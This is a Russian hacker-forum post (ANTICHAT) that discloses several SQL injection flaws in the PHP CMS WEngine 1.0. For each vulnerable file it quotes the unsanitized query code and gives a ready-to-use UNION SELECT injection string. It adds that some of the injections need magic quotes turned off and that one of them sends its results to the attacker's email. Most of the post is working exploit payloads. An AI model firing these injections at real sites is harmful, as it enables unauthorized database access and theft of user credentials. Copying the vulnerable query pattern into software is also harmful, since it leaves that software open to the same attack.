ANTICHAT - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

Product: WEngine
Version: 1.0
Author: http://hot.ee

SQL-inj

file: /modules/news/index.php

PHP код:


		
			
$read = $_GET['read'];

    $newssql = "select * from news where news_id = '$read'";

    $newsresult = mysql_query($newssql);

    $newsrow = mysql_fetch_array($newsresult);

target: ?read=1'+union+select+1,2,3,version()/*

file: user.php

PHP код:


		
			
$login = $_POST['login'];

    $password = $_POST['password'];

    $email = $_POST['email'];

    $entersql = "SELECT * FROM users WHERE user_name = '$login'";

    $enterresult = mysql_query($entersql);

...

$entersql = "SELECT user_password FROM users WHERE user_name =  '$login'";

Передача идет методом POST.
target: ?login=user'+union+select+1,2,3,4,5/*

file: mail.php

PHP код:


		
			
$send = $_GET['sendid'];

    $mail = $_GET['mail'];

    if($mail == ""):

        print("Вы не ввели email!");

        exit;

    endif;

    $newssql = "select * from news where news_id = '$send'";

target: ?send=1'+union+select+1,version(),database(),4/*
Sql-inj не совсем обычная,вывод будет у вас на E-mail,так что его нужно вводить рабочий.

file: print.php

PHP код:


		
			
$print = $_GET['print'];

    $newssql = "select * from news where news_id = '$print'";

    $newsresult = mysql_query($newssql);

    $newsrow = mysql_fetch_array($newsresult);

    printf("<b>%s</b><hr>", $newsrow['news_name']);

target: ?print=1'+union+select+1,version(),3,4/*

Так-же уязвимы еще некоторые файлы,но выкладывать это не вижу смысла,так как все скули однотипные.Для некоторых уязвимостей,необходимо MQ = off дабы кавычки пролетали свободно.